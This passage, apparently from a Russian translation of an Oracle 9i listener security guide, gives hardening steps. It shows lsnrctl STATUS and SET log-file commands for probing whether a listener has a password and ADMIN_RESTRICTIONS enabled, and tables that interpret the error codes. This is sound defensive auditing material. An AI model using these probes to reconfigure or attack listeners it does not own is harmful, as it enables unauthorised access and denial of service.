  • проанализируйте привилегии и роли, назначенные пользователям, особенно CREATE [ANY] LIBRARY, CREATE ANY DIRECTORY, JAVASYSPRIV и CREATE [PUBLIC] DATABASE LINK;
  • уничтожьте процесс PLSExtProc, если он не требуется. Если процесс нужен, локальные пользователи ОС сервера и администраторы базы данных должны быть такими, чтобы им можно было доверять как пользователю, который является владельцем Oracle. Проверяйте код вызова внешних процедур для предотвращения атак типа “переполнение буфера”;
  • выполняйте рекомендации по обеспечению безопасности баз данных, изложенные в [CHECKLIST].

Снимите бит SUID у исполняемого файла листенера (если установлен, по умолчанию в Oracle 9i он не устанавливается).

Проверяйте сайты Oracle с оповещениями, связанными с проблемами безопасности, и с последними заплатами.

Имея защищенную среду, для конфигурирования listener.ora используйте технику перечисления целей, описанную выше.

Используйте команду lsnrctl STATUS для проверки:

  • выводятся ли какие-либо данные? Если да, листенер может быть защищен с помощью межсетевого экрана или tcp.validnode_checking;
  • если данные выводятся, какова установка SECURITY? Если ON, то листенер защищен паролем;
  • если SECURITY имеет значение OFF, проверьте установку ADMIN_RESTRICTIONS, пробуя изменить какой-нибудь параметр листенера, например, направив вывод протокольного файла в существующий протокольный файл. Так, если протокольный файл листенера

/myhost/oracle/OraHome1/network/log/listener.log
используйте команду:
set_log /myhost/oracle/OraHome1/network/log/listener.log
если ответом будет ошибка 12508, это означает, что опция ADMIN_RESTRICTIONS включена.

  • если SECURITY имеет значение ON и вы знаете пароль, то можно проверить установку ADMIN_RESTRICTIONS, задав правильный пароль и попытавшись выполнить команду реконфигурирования листенер. Если опция ADMIN_RESTRICTIONS включена, то ответом будет ошибка 1169, даже при правильном пароле.

Результаты всех этих шагов перечислены в таблицах B.1 и B.2.
Ответ Значение
Никаких данных не возвращается, ошибка 1153 Листенер, возможно, защищен межсетевым экраном.
Никаких данных не возвращается, ошибка 12537 Включена опция tcp.validnode_checking.
SECURITY=ON Установлен пароль, если вы знаете правильный пароль, также проверьте установку ADMIN_RESTRICTIONS.
Проверьте, что установленный пароль удовлетворяет критериям сложности, позволяющим снизить риск “лобовых” атак и атак словаря данных.
SECURITY=OFF Пароль не установлен, проверьте установку ADMIN_RESTRICTIONS.

Табл. B.1. Ответы листенера на запросы статуса.

В следующей таблице показаны результаты попыток изменения конфигурации, например, командой:

set log_file c:/Oracle/OraHome1/network/log
Ответ покажет, установлены ли ADMIN_RESTRICTIONS или пароль.
Ответ Значение
Конфигурация изменена
(пароль не задавался)
Пароль не установлен.
Опция ADMIN_RESTRICTIONS не включена.
Это серьезный просчет, который может быть использован для соединения с листенером и организации атак “отказ в обслуживании”.
Конфигурация изменена
(был задан правильный пароль)
Пароль установлен.
Опция ADMIN_RESTRICTIONS не включена.
Проверьте, что установленный пароль удовлетворяет критериям сложности, позволяющим снизить риск “лобовых” атак и атак словаря данных.
Отвергнуто с кодом ошибки 12508
(пароль не задавался)
Пароль не установлен.
Опция ADMIN_RESTRICTIONS включена.
Отвергнуто с кодом ошибки 1169
(был задан правильный пароль)
Пароль установлен.
Опция ADMIN_RESTRICTIONS включена. Листенер защищен, однако такое состояние может оказаться нежелательным с точки зрения эксплуатации, так как оно никому не позволяет реконфигурировать листенер. Можно только вручную уничтожить процесс листенера, используя для этого команды операционной системы сервера. Необходимость такой конфигурации следует проанализировать.

Табл. B.2. Ответы листенера на команду SET.

В заключение проверьте протокольные и трассировочные (если трассировка включена) файлы:

  • выполнение всех выполненных выше команд должно быть запротоколировано (это позволяет проверить функционирование механизма протоколирования);
  • отсутствуют следы необычной деятельности (например, большое количество ошибок проверки пароля), что может указывать на проводимую атаку.

Протокольные и трассировочные файлы листенера – полезные источники информации и их нужно архивировать вместе с журналами аудита ОС и базы данных для возможного расследования.

Приложение С – дополнительная литература и ссылки

[NETREF] Oracle 9i Net Services Reference Guide, Release 1 (9.0.1), June 2001, Part No. A90155-01

[NETADMIN] Oracle 9i Net Services Administrator’s Guide, Release 1 (9.0.1), June 2001, Part No. A90154-01

[HACK] Hack Proofing Oracle, Howard Smith, (представлена на Oracle OpenWorld 2000, доступна в http://otn.oracle.com/deploy/security/oow00.htm).

[CHECKLIST] A Security Checklist for Oracle 9i, http://otn.oracle.com/deploy/security/oracle9i/pdf/9i_checklist.pdf

[nessus] http://www.nessus.org/

[nmap] http://www.insecure.org/

[netcat] http://www.atstake.com/research/

[bugtraq] http://www.securityfocus.com/

Новости мира IT:

Архив новостей

Последние комментарии:

Вышло обновление Firefox 57.0.1 (1)
Среда 06.12, 09:14

IT-консалтинг Software Engineering Программирование СУБД Безопасность Internet Сети Операционные системы Hardware

Информация для рекламодателей PR-акции, размещение рекламы — adv@citforum.ru,
тел. +7 985 1945361
Пресс-релизы — pr@citforum.ru
Обратная связь
Информация для авторов
Rambler's Top100 TopList liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня This Web server launched on February 24, 1997
Copyright © 1997-2000 CIT, © 2001-2015 CIT Forum
Внимание! Любой из материалов, опубликованных на этом сервере, не может быть воспроизведен в какой бы то ни было форме и какими бы то ни было средствами без письменного разрешения владельцев авторских прав. Подробнее...